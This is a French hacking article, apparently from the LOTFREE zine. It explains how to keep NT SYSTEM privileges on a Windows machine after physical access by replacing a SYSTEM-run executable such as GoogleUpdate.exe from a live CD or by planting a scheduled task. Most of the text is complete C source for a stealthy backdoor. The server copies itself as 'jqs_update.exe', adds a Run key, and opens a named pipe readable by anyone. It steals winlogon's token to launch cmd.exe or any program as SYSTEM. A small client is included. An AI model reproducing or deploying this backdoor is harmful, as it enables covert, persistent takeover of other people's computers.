Quand on a récupéré des droits privilégiés sur une machine par une attaque physique (comprendre locale), on aime bien les conserver et que cela se fasse dans la discrétion...
Passer son user en admin local ou en power-user ce n'est pas ce qu'il y a de plus discret. Quand à casser le mdp du compte admin existant ce n'est pas toujours une mince affaire (du moins si la compatiblité LanMan est désactivée)
Le top c'est d'avoir à disposition de quoi lancer quand on le souhaite une commande nous permettant de récupérer temporairement les droits que l'on souhaite histoire d'installer une app, lancer un sniffeur, récupérer des fichiers etc. Et c'est le sujet de cet article.
L'idée d'origine est bien sûr venue d'une telle situation dans un environement Windows. On a accès à une machine avec un compte limité, on est tout seul et on peut faire démarrer cette bécane sur un live CD, monter le système de fichier et placer un de nos exécutables sur le système.
La question a ensuite été de comment faire en sorte que l'exécutable placé sur le disque puisse nous donner ce que l'on souhaite à savoir un max de droits d'accès, c'est à dire les droits NT SYSTEM...
Placer les exécutables dans une clé Run du registre (au boot) ne suffit pas à faire tourner les exécutables en SYSTEM : Ces clés lancent les programmes quand l'user ouvre sa session avec ses droits à lui. J'ai fouillé dans les processus qui tourneaient en system sur mon PC et trouvé notemment GoogleUpdate.exe, un exe qui comme son nom l'indique est ajouté lors de l'installation de logiciels de chez Google (comme Chrome).
Ce qui était étonnant c'est que cet exécutable était justement dans les clés Run du registre... En fait j'ai découvert plus tard qu'il était aussi lancé en tant que tâche planifiée et que c'était ce qui le faisait tourner en tant que SYSTEM. Mais on y reviendra à la fin de l'article ;-)
Quoiqu'il en soit la première étape était résolue : On écrase le fichier GoogleUpdate.exe (ou tout autre programme qui tourne en SYSTEM, relevé via le taskmgr) par un programme de notre confection via un live CD, on reboot sous Windows et hop, notre prog tourne en SYSTEM :)
Vient ensuite la question de la communication avec le programme : Il faut qu'il tourne "dans l'ombre" en attente de nos commandes et qu'il les exécute quand on les lui envoie.
Pour ça différents techniques sont à notre disposition : créer un fichier contenant les commandes qui serait lues puis le fichier supprimé (pas pratique), communiquer via des sockets (pas terrible face à un netstat ou nmap), via des clés de registre (pas terrible) ou via des tubes nommés.
Va pour les tubes. On créé un petit programme de test histoire de jouer avec les tubes : un clien et un serveur. On utilise la fonction CreateNamedPipe pour créer notre canal de communication qu'on met en écoute via ConnectNamedPipe (l'équivalent de listen pour les sockets) et ensuite on se sert bêtement de WriteFile et ReadFile pour communiquer. Seul problème : une fois lancé en SYSTEM le tube existe bien mais impossible pour le client d'ouvrir la pipeline car des mécanismes de sécurité existent pour que tout le monde n'accéde pas à ce tube (comme pour des fichiers). Il faut donc à la création du tube indiquer des droits spécifiques permettant à tout le monde d'y accéder.
Cette opération se fait lors de la création du pipe en passant comme dernier argument une structure SECURITY_ATTRIBUTES que l'on aura initialisé via InitializeSecurityDescriptor puis correctement rempli avec SetSecurityDescriptorDacl. L'opération dans notre cas est assez simple : il convient de passer NULL comme 3ème paramêtre (pDacl) pour indiquer que tout le monde a les accès.
Pour reprendre sur les communications entre le client et le serveur, le protocole choisi sera le suivant :
Lorsqu'un client se connecte au serveur (ouverture du tube), ce dernier envoi le message d'accueil I'm here to serve you master. au client. Cela permet au client de vérifier que la connexion a bien été établie. Evidemment on peut placer un message plus discret pour éviter aux curieux d'analyser la situation dans les détails :p
C'est ensuite le client qui spécifie ce qu'il souhaite. La commande CWD empruntée au FTP permet d'afficher le répertoire courant du processus serveur. Suvi d'un argument elle permet de lui faire changer de répertoire courant. La commande CMD sera la plus pratique, facile et sans doute la plus fiable à utiliser : elle ouvrera un shell (cmd.exe) dans l'environement de l'utilisateur et ce avec les droits SYSTEM.
Enfin la commande RUN permettra comme son nom l'indique de lancer un exécutable avec les droits SYSTEM. Il faudra forcément passer comme argument le chemin de l'exécutable voulu. Il est préférable d'avoir CWD dans son dossier auparavant. On pourra transférer des paramêtres à ce programme en rajoutant à la fin de la commande RUN les options séparées par le caractère '|' (ex: RUN ping.exe|8.8.8.8 pour pinger le serveur DNS de Google).
Seulement si on lance depuis le client un CMD ou un RUN quelquechose, la fenêtre du programme n'apparait pas alors que l'on voit bien le processus demandé exécuté en tant que SYSTEM dans le gestionnaire des taches... C'est parce que Windows inclus des mécanismes de sécurité de la session graphique qui sont apparu aux fur et à mesure des versions, par exemple pour se prrotéger des shatter attacks. On pourrait comparer ce système basé sur des jetons (tokens) et sessions au système xauth de Linux et ses magic-cookies mais sur ce niveau Windows est beaucoup plus avancé.
Comment alors faire en sorte que notre exécutable tournant en SYSTEM ait accès à la session en cours et puisse générer des processus avec ses privilèges dans cette même session ?
C'est sans doute sur le site CodeProjet que l'on trouve la plus intéressante bibliothèque de documents traitant de ces mécanismes de sécurité, et en particulier (pour notre cas), le document Launch your application in Vista under the local system account without the UAC popup qui nous explique la marche à suivre pour accéder au saint graal :)
Quand vous vous loguez physiquement sur un système Windows Vista/7, une session est générée qui aura l'identifiant 1. Les services lancés par Windows au boot tournent sous une session différente, non-interactive où les applis n'ont pas accès à l'interface graphique : la session 0.
Vous pouvez connaître l'ID de session de chaque processus via Affichage > Sélectionner des colonnes dans le gestionnaire des tâches et vous verrez qu'il y a quand même des processus SYSTEM tournant dans notre session 1. On retrouve alors le GoogleUpdate.exe et, comme sur tous les systèmes, vous verrez le winlogon.exe qui gère le login/logout des utilisateurs. Il y a en gros un processus winlogon.exe tournant en SYSTEM pour chaque session dont l'ID est supérieur ou égal à 1.
L'idée est de récupérer le jeton de winlogon.exe qui lui permet d'avoir accès à l'interface graphique et chaque fois qu'on enverra une commande à notre backdoor, la commande sera lancée avec ce token, faisant apparaître le fenêtre correspondante à l'écran :)
Le procédé à suivre pour arriver à nos fins sera le suivant :
Voici le code source de la partie serveur destinée à tourner avec des droits SYSTEM. Compilation avec Microsoft Visual C++ Express (gratuit) en raison de l'utilisation de certaines bibliothèques.
Le code est un peu crado. En mode debug des messages de statut sont envoyés vers le fichier d'event (journal) d'application.
/*
LOTFREE 9 - Get NT SYSTEM privileges backdoor
Le programme utilise TCHAR & co mais est fait pour unicode
cela dis le passage non-unicode ne necessite pas grandes modifications
*/
#define UNICODE
#define _UNICODE
#define _CRT_SECURE_NO_WARNINGS
// Fonctions acces registre, tokens etc
#pragma comment (lib, "advapi32")
// WTSQueryUserToken
#pragma comment (lib, "Wtsapi32")
// CreateEnvironmentBlock
#pragma comment (lib, "Userenv")
#include <tchar.h>
#include <stdio.h>
#include <Windows.h>
// CreateToolhelp32Snapshot
#include <Tlhelp32.h>
#include <Wtsapi32.h>
#include <Userenv.h>
// ConvertStringSecurityDescriptorToSecurityDescriptorS
#include <Sddl.h>
#define BUFSIZE 512
DWORD WINAPI InstanceThread(LPVOID);
int _tmain(int argc, TCHAR *argv[])
{
BOOL fConnected = FALSE;
DWORD dwThreadId = 0;
HANDLE hPipe = INVALID_HANDLE_VALUE, hThread = NULL;
LPCTSTR lpszPipename = _T("\\\\.\\pipe\\mynamedpipe");
LPTSTR lpDisplayBuf;
TCHAR orig_name[255];
TCHAR dest_name[255];
HKEY key;
PSECURITY_ATTRIBUTES pSa = NULL;
SECURITY_ATTRIBUTES sa ={0};
SECURITY_DESCRIPTOR sd={0};
// Creer un security descriptor vide
InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION);
// 3eme parametre : DACL NULL => permettre tous les acces
SetSecurityDescriptorDacl(&sd, TRUE, NULL, FALSE);
sa.bInheritHandle = false;
sa.lpSecurityDescriptor = &sd;
sa.nLength = sizeof(sa);
if (argc == 2)
{
// si argument = "install", place l'executable comme service lance au boot
if(_tcscmp(_T("install"), argv[1]) == 0)
{
// Obtient le nom de l'exe en cours
GetModuleFileName(NULL, orig_name, 255);
// Obtenir l'emplacement des fichiers systemes
GetSystemDirectory(dest_name, 255);
_tcscat(dest_name, _T("\\jqs_update.exe"));
_tprintf(_T("%s\n"), dest_name);
// On y place une copie de l'excutable sous le nom jqs_update.exe
CopyFile(orig_name, dest_name, FALSE);
// Creation du cle Run dans le registre pour lancement au boot
if(RegOpenKeyEx(HKEY_CURRENT_USER,
_T("Software\\Microsoft\\Windows\\CurrentVersion\\Run"),
0,
KEY_SET_VALUE,
&key) == ERROR_SUCCESS)
{
if(RegSetValueEx(key,
_T("jqs_update"),
0,
REG_SZ,
(BYTE*)dest_name,
11) != ERROR_SUCCESS)
_tprintf(_T("Registry install failed"));
RegCloseKey(key);
}
// On quitte : install terminee
return 0;
}
}
// Cas ou le programme est lance sans arguments
for (;;)
{
// cree le tube nomme pour les communications avec des acces pour tout le monde
_tprintf( _T("\nServer: Awaiting client connection on %s\n"), lpszPipename);
hPipe = CreateNamedPipe(
lpszPipename, // pipe name
PIPE_ACCESS_DUPLEX | WRITE_DAC, // read/write access
PIPE_TYPE_MESSAGE | // message type pipe
PIPE_READMODE_MESSAGE | // message-read mode
PIPE_WAIT, // blocking mode
PIPE_UNLIMITED_INSTANCES, // max. instances
BUFSIZE, // output buffer size
BUFSIZE, // input buffer size
0, // client time-out
&sa); // default security attribute - null avant
if (hPipe == INVALID_HANDLE_VALUE)
{
// Ca a merde... affiche un message
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
NULL,
GetLastError(),
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR)&lpDisplayBuf,
0, NULL );
_tprintf(_T("%s"), (LPSTR)lpDisplayBuf);
// et quitte
return -1;
}
// Attendre que des clients se connectent; en cas de reussite,
// retourne une valeur non nulle. Dans le cas contraire
// (retourne zero), GetLastError retourne ERROR_PIPE_CONNECTED.
fConnected = ConnectNamedPipe(hPipe, NULL) ?
TRUE : (GetLastError() == ERROR_PIPE_CONNECTED);
if (fConnected)
{
_tprintf(_T("Client connected, creating a processing thread.\n"));
// Creation d'un thread pour gerer ce client
hThread = CreateThread(
NULL, // no security attribute
0, // default stack size
InstanceThread, // Thread qui gere la cnx avec le client :)
(LPVOID) hPipe, // thread parameter
0, // not suspended
&dwThreadId); // returns thread ID
if (hThread == NULL)
{
// Ca a merde... affiche l'erreur et quitte
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
NULL,
GetLastError(),
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR)&lpDisplayBuf,
0, NULL );
return -1;
}
else CloseHandle(hThread);
}
else CloseHandle(hPipe); // The client could not connect, so close the pipe.
} // end for
LocalFree(lpDisplayBuf);
return 0;
}
// Thread qui gere le client connecte
DWORD WINAPI InstanceThread(LPVOID lpvParam)
{
HANDLE hHeap = GetProcessHeap();
TCHAR* pchRequest = (TCHAR*)HeapAlloc(hHeap, 0, BUFSIZE*sizeof(TCHAR));
TCHAR* pchReply = (TCHAR*)HeapAlloc(hHeap, 0, BUFSIZE*sizeof(TCHAR));
DWORD cbBytesRead = 0, cbReplyBytes = 0, cbWritten = 0;
BOOL fSuccess = FALSE;
HANDLE hPipe = NULL;
LPTSTR arg1;
LPTSTR arg2;
TCHAR lpDisplayBuf[256];
// En mode debug, des messages d'erreur ou de reussite sont passes dans le journal des applications
#ifdef _DEBUG
HANDLE hEventLog = NULL;
#endif
LPTSTR lpszStrings[1];
TCHAR cmdLine[256];
//pompage
PROCESS_INFORMATION pi;
STARTUPINFO si;
BOOL bResult = FALSE;
DWORD dwSessionId, winlogonPid;
HANDLE hUserToken, hUserTokenDup, hPToken, hProcess;
DWORD dwCreationFlags;
#ifdef _DEBUG
hEventLog = RegisterEventSource(NULL, _T("LOTF"));
#endif
// Recupere l'identifiant de la session physique en cours sur la machine
dwSessionId = WTSGetActiveConsoleSessionId();
// Recupere le PID de winlogon.exe
PROCESSENTRY32 procEntry;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnap == INVALID_HANDLE_VALUE)
{
return 1 ;
}
procEntry.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hSnap, &procEntry))
{
return 1;
}
do
{
if (_tcsicmp(procEntry.szExeFile, _T("winlogon.exe")) == 0)
{
// Processus winlogon trouve...
// make sure it's running in the console session
DWORD winlogonSessId = 0;
if (ProcessIdToSessionId(procEntry.th32ProcessID, &winlogonSessId)
&& winlogonSessId == dwSessionId)
{
winlogonPid = procEntry.th32ProcessID;
break;
}
}
} while (Process32Next(hSnap, &procEntry));
// Recupere le token de la session physique en cours. Seul SYSTEM peut faire ca.
WTSQueryUserToken(dwSessionId,&hUserToken);
dwCreationFlags = NORMAL_PRIORITY_CLASS|CREATE_NEW_CONSOLE;
ZeroMemory(&si, sizeof(STARTUPINFO));
si.cb = sizeof(STARTUPINFO);
si.lpDesktop = _T("winsta0\\default");
ZeroMemory(&pi, sizeof(pi));
TOKEN_PRIVILEGES tp;
LUID luid;
// Retourne un handle sur le process winlogon.exe
hProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, winlogonPid);
if(hProcess == NULL)
{
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
NULL,
GetLastError(),
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR)&lpDisplayBuf,
0, NULL);
}
else
{
_tcscpy(lpDisplayBuf, _T("OpenProcessToken : tout est ok!"));
}
lpszStrings[0] = lpDisplayBuf;
#ifdef _DEBUG
ReportEvent(hEventLog, EVENTLOG_INFORMATION_TYPE, 1, 666, NULL, 1, 0, (LPCTSTR*) &lpszStrings[0], NULL);
#endif
// Recupere le token d'acces de winlogon.exe avec les droits de duplication
if(!OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY
|TOKEN_DUPLICATE|TOKEN_ASSIGN_PRIMARY| TOKEN_ADJUST_SESSIONID
|TOKEN_READ|TOKEN_WRITE, &hPToken))
{
//_tprintf(_T("Process token open Error: %u\n"), GetLastError());
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
NULL,
GetLastError(),
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR)&lpDisplayBuf,
0, NULL);
}
else
{
_tcscpy(lpDisplayBuf, _T("OpenProcessToken : tout est ok!"));
}
lpszStrings[0] = lpDisplayBuf;
#ifdef _DEBUG
ReportEvent(hEventLog, EVENTLOG_INFORMATION_TYPE, 1, 667, NULL, 1, 0, (LPCTSTR*) &lpszStrings[0], NULL);
#endif
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
{
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
NULL,
GetLastError(),
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR)&lpDisplayBuf,
0, NULL);
}
else
{
_tcscpy(lpDisplayBuf, _T("LookupPrivilege: ok!"));
}
lpszStrings[0] = lpDisplayBuf;
#ifdef _DEBUG
ReportEvent(hEventLog, EVENTLOG_INFORMATION_TYPE, 1, 668, NULL, 1, 0, (LPCTSTR*) &lpszStrings[0], NULL);
#endif
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
// Duplication du token de winlogon.exe vers hUserTokenDup
DuplicateTokenEx(hPToken, MAXIMUM_ALLOWED, NULL,
SecurityIdentification, TokenPrimary, &hUserTokenDup);
// On associe le SID de la session physique au token duplique
SetTokenInformation(hUserTokenDup,
TokenSessionId,
(void*)dwSessionId, // SID de la session physique
sizeof(DWORD));
if (!AdjustTokenPrivileges(hUserTokenDup,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES)NULL,
NULL))
{
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
NULL,
GetLastError(),
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR)&lpDisplayBuf,
0, NULL );
}
else
{
_tcscpy(lpDisplayBuf, _T("AdjustTokenPrivileges: c'est ok!"));
}
lpszStrings[0] = lpDisplayBuf;
#ifdef _DEBUG
ReportEvent(hEventLog, EVENTLOG_INFORMATION_TYPE, 1, 669, NULL, 1, 0, (LPCTSTR*) &lpszStrings[0], NULL);
#endif
LPVOID pEnv = NULL;
// Recupere l'environement du token duplique
if(CreateEnvironmentBlock(&pEnv, hUserTokenDup, TRUE))
{
dwCreationFlags |= CREATE_UNICODE_ENVIRONMENT;
_tcscpy(lpDisplayBuf, _T("CreateEnvironmentBlock: c'est ok!"));
}
else
{
pEnv= NULL;
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
NULL,
GetLastError(),
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR)&lpDisplayBuf,
0, NULL );
}
lpszStrings[0] = lpDisplayBuf;
#ifdef _DEBUG
ReportEvent(hEventLog, EVENTLOG_INFORMATION_TYPE, 1, 670, NULL, 1, 0, (LPCTSTR*) &lpszStrings[0], NULL);
#endif
//paste end
// Erreurs possible avec le thread. Si NOK on quitte
if (lpvParam == NULL)
{
_tprintf(_T("\nERROR - Pipe Server Failure:\n"));
_tprintf(_T(" InstanceThread got an unexpected NULL value in lpvParam.\n"));
_tprintf(_T(" InstanceThread exitting.\n"));
if (pchReply != NULL) HeapFree(hHeap, 0, pchReply);
if (pchRequest != NULL) HeapFree(hHeap, 0, pchRequest);
return (DWORD)-1;
}
// On recupere le handle de notre pipe
hPipe = (HANDLE) lpvParam;
// On envoi un message d'accueil a ce cher client qui a bien voulu se connecter
_tcscpy(pchReply, _T("I'm here to serve you master."));
cbReplyBytes = _tcsclen(pchReply) * sizeof(TCHAR);
fSuccess = WriteFile(
hPipe,
pchReply,
cbReplyBytes,
&cbWritten,
NULL);
// Loop until done reading
while (1)
{
fSuccess = ReadFile(
hPipe,
pchRequest,
BUFSIZE * sizeof(TCHAR),
&cbBytesRead,
NULL);
if (!fSuccess || cbBytesRead == 0)
{
if (GetLastError() == ERROR_BROKEN_PIPE)
{
_tprintf(_T("InstanceThread: client disconnected.\n"));
}
else
{
_tprintf(_T("InstanceThread ReadFile failed, GLE=%lu.\n"), GetLastError());
}
break;
}
pchRequest[cbBytesRead / sizeof(TCHAR) - 1] = _T('\0');
// Instruction CWD => change de repertoire courant
if(_tcsnccmp(pchRequest, _T("CWD"), 3) == 0)
{
if(_tcsclen(pchRequest) > 3)
{
arg1 = _tcsspnp(&pchRequest[3], _T(" "));
if(arg1 != NULL) SetCurrentDirectory(arg1); // pas de gestion d'erreur
}
GetCurrentDirectory(255, pchReply);
}
// Instruction RUN => execute un programme, permet de passer des arguments
else if (_tcsnccmp(pchRequest, _T("RUN"), 3) == 0)
{
if(_tcsclen(pchRequest) > 3)
{
arg1 = _tcsspnp(&pchRequest[3], _T(" "));
if(arg1 != NULL)
{
arg2 = _tcschr(arg1, _T('|'));
if(arg2 != NULL)
{
_tprintf(_T("%s\n"), arg2);
arg2[0] = _T('\0');
arg2 = _tcsinc(arg2);
}
_sntprintf(cmdLine, BUFSIZE - 1, _T("\"%s\" %s"), arg1, arg2);
bResult = CreateProcessAsUser(
hUserTokenDup, // client's access token
arg1, // fichier a executer
cmdLine, // ligne de commande (arguments)
NULL, // pointer to process SECURITY_ATTRIBUTES
NULL, // pointer to thread SECURITY_ATTRIBUTES
FALSE, // handles are not inheritable
dwCreationFlags, // creation flags
pEnv, // pointer to new environment block
NULL, // name of current directory
&si, // pointer to STARTUPINFO structure
&pi // receives information about new process
);
if (bResult != NULL)
{
_tcscpy(pchReply, _T("CreateProcessAsUser Success!"));
}
else
{
_tcscpy(pchReply, _T("CreateProcessAsUser Error!"));
}
}
}
else
{
_tcscpy(pchReply, _T("Need arguments!"));
}
} // Fin RUN
// Execute cmd.exe (invite de commande avec droits SYSTEM)
else if (_tcsnccmp(pchRequest, _T("CMD"), 3) == 0)
{
_tcscpy(lpDisplayBuf, _T("Juste avant CreateProcessAsUser"));
lpszStrings[0] = lpDisplayBuf;
#ifdef _DEBUG
ReportEvent(hEventLog, EVENTLOG_INFORMATION_TYPE, 1, 671, NULL, 1, 0, (LPCTSTR*) &lpszStrings[0], NULL);
#endif
// Launch the process in the client's logon session.
bResult = CreateProcessAsUser(
hUserTokenDup, // client's access token
_T("C:\\windows\\system32\\cmd.exe"),
NULL, // options
NULL, // pointer to process SECURITY_ATTRIBUTES
NULL, // pointer to thread SECURITY_ATTRIBUTES
FALSE, // handles are not inheritable
dwCreationFlags, // creation flags
pEnv, // pointer to new environment block
NULL, // name of current directory
&si, // pointer to STARTUPINFO structure
&pi // receives information about new process
);
if (bResult != NULL)
{
_tcscpy(pchReply, _T("CreateProcessAsUser Success!"));
}
else
{
_tcscpy(pchReply, _T("CreateProcessAsUser Error!"));
}
}
// Message pour les curieux
else
{
_tcscpy(pchReply, _T("Protocol error #8486"));
}
cbReplyBytes = _tcsclen(pchReply) * sizeof(TCHAR);
// Renvoi l'output sur le pipe
fSuccess = WriteFile(
hPipe, // handle to pipe
pchReply, // buffer to write from
cbReplyBytes, // number of bytes to write
&cbWritten, // number of bytes written
NULL); // not overlapped I/O
if (!fSuccess || cbReplyBytes != cbWritten)
{
_tprintf(_T("InstanceThread WriteFile failed, GLE=%lu.\n"), GetLastError());
break;
}
} // Fin while
// End impersonation of client
CloseHandle(hProcess);
CloseHandle(hUserToken);
CloseHandle(hUserTokenDup);
CloseHandle(hPToken);
FlushFileBuffers(hPipe);
DisconnectNamedPipe(hPipe);
CloseHandle(hPipe);
HeapFree(hHeap, 0, pchRequest);
HeapFree(hHeap, 0, pchReply);
#ifdef _DEBUG
_tprintf(_T("InstanceThread exitting.\n"));
DeregisterEventSource(hEventLog);
#endif
return 1;
}
Et voici le code (minimaliste) du client. Lit les commandes (CWD, CMD, RUN) depuis la console
/* client */
#define UNICODE
#define _UNICODE
#include <windows.h>
#include <stdio.h>
#include <conio.h>
#include <tchar.h>
#include <stdlib.h>
#define BUFSIZE 512
int _tmain(int argc, TCHAR *argv[])
{
HANDLE hPipe;
char message[500]; // buffer pour la saisie a la console (stdin)
TCHAR wmessage[500]; // buffer de conversion en widechars
TCHAR chBuf[BUFSIZE]; // Buffer de lecture sur le pipe
BOOL fSuccess = FALSE;
DWORD cbRead, cbToWrite, cbWritten, dwMode;
DWORD err = 0;
LPTSTR lpszPipename = _T("\\\\.\\pipe\\mynamedpipe");
size_t convertedChars = 0;
// Try to open a named pipe; wait for it, if necessary.
while(1)
{
hPipe = CreateFile(
lpszPipename, // pipe name
GENERIC_READ | // read and write access
GENERIC_WRITE,
0, // no sharing
NULL, // default security attributes
OPEN_EXISTING, // opens existing pipe
0, // default attributes
NULL); // no template file
// Break if the pipe handle is valid.
if(hPipe != INVALID_HANDLE_VALUE) break;
// Exit if an error other than ERROR_PIPE_BUSY occurs.
err = GetLastError();
if(err == ERROR_ACCESS_DENIED)
{
_tprintf(_T("Acces refuse!\n"));
return -1;
}
else if(err != ERROR_PIPE_BUSY)
{
_tprintf( _T("Could not open pipe. GLE=%lu\n"), GetLastError());
return -1;
}
// All pipe instances are busy, so wait for 20 seconds.
if(!WaitNamedPipe(lpszPipename, 20000))
{
_tprintf(_T("Could not open pipe: 20 second wait timed out."));
return -1;
}
} // fin while acces pipe
// The pipe connected; change to message-read mode.
dwMode = PIPE_READMODE_MESSAGE | PIPE_WAIT;
fSuccess = SetNamedPipeHandleState(
hPipe, // pipe handle
&dwMode, // new pipe mode
NULL, // don't set maximum bytes
NULL); // don't set maximum time
if (!fSuccess)
{
_tprintf( _T("SetNamedPipeHandleState failed. GLE=%lu\n"), GetLastError() );
return -1;
}
memset((void *)&chBuf, 0, sizeof(TCHAR) * BUFSIZE);
// On lit la banniere d'accueil
fSuccess = ReadFile(
hPipe, // pipe handle
chBuf, // buffer to receive reply
BUFSIZE * sizeof(TCHAR), // size of buffer
&cbRead, // number of bytes read
NULL); // not overlapped
chBuf[cbRead / sizeof(TCHAR)] = '\0';
_tprintf(_T("%s\n"), chBuf);
while(1)
{
// Send a message to the pipe server.
memset(message, 0, 499);
fgets(message, 499, stdin);
cbToWrite = strlen(message);
mbstowcs_s(&convertedChars, wmessage, cbToWrite, message, _TRUNCATE);
if (strncmp(message, "QUIT", 4) == 0) break;
fSuccess = WriteFile(
hPipe, // pipe handle
wmessage, //lpvMessage, // message
convertedChars * sizeof(TCHAR), // message length
&cbWritten, // bytes written
NULL); // not overlapped
if (!fSuccess)
{
_tprintf(_T("WriteFile to pipe failed. GLE=%lu\n"), GetLastError() );
return -1;
}
memset((void *)&chBuf, 0, sizeof(TCHAR) * BUFSIZE);
do
{
// Read from the pipe.
fSuccess = ReadFile(
hPipe, // pipe handle
chBuf, // buffer to receive reply
BUFSIZE * sizeof(TCHAR), // size of buffer
&cbRead, // number of bytes read
NULL); // not overlapped
chBuf[cbRead / sizeof(TCHAR)] = '\0';
if (!fSuccess && GetLastError() != ERROR_MORE_DATA) break;
_tprintf(_T("%s\n"), chBuf);
} while (!fSuccess); // repeat loop if ERROR_MORE_DATA
if(!fSuccess)
{
_tprintf(_T("ReadFile from pipe failed. GLE=%d\n"), (int)GetLastError());
return -1;
}
}
CloseHandle(hPipe);
return 0;
}
Une fois les deux codes compilés, soit vous remplacez l'un des exécutable existant lancé en tant que SYSTEM (exemple: GoogleUpate.exe), soit en plus de placer votre exe sur le système vous y placez aussi un nouveau fichier permettant de définir une tache planifiée.
Sous les anciennes versions de Windows (Win2K, XP et Server 2003) les taches planifiées sont dans un format binaire avec une extension .job. Ces fichiers se trouvent dans le dossier Windows\Tasks du système. La documentation qui définit ce format est disponible sur MSDN. C'est un format qui semble portable d'une machine à l'autre, il est normalement possible de prendre le fichier .job d'une bécane pour le déplacer vers une autre bécane. La seule difficulté est de définir un job UUID qui n'est pas déjà utilisé. Pour créer un .job on utilisera simplement l'outil de gestion de taches planifiés de Windows.
Sur les "nouvelles" versions de Windows (Vista, 7, et Server 2008), c'est encore plus simple car Microsoft est passé à un format XML. Toutefois les .job sont toujours acceptés par compatibilité et l'outil de gestion des taches permet d'importer / d'exporter dans un format ou l'autre. On peut donc reprendre facilement un XML d'une tache existante pour l'adapter à nos besoins. La seule règle à suivre semble être que ces fichiers soient encodés en UTF-16 et commencent par le BOM unicode associé.
Ces fichiers sont situés dans Windows\System32\Tasks et l'arborescence est laissée aux éditeurs logiciels (Microsoft suit sa propre arborescence, beaucoup d'éditeurs laissent leurs fichiers à la base).
En regardant le contenu d'un de ces fichiers vous devriez tout de suite capter à quoi correspond chaque balise. Il y a tout de même de bonnes références sur MSDN.
Dans le dossier contenant les codes sources et les binaires, vous trouverez aussi à titre d'exemple les fichiers de tache planifié correspondant à GoogleUpdate et Windows Defender.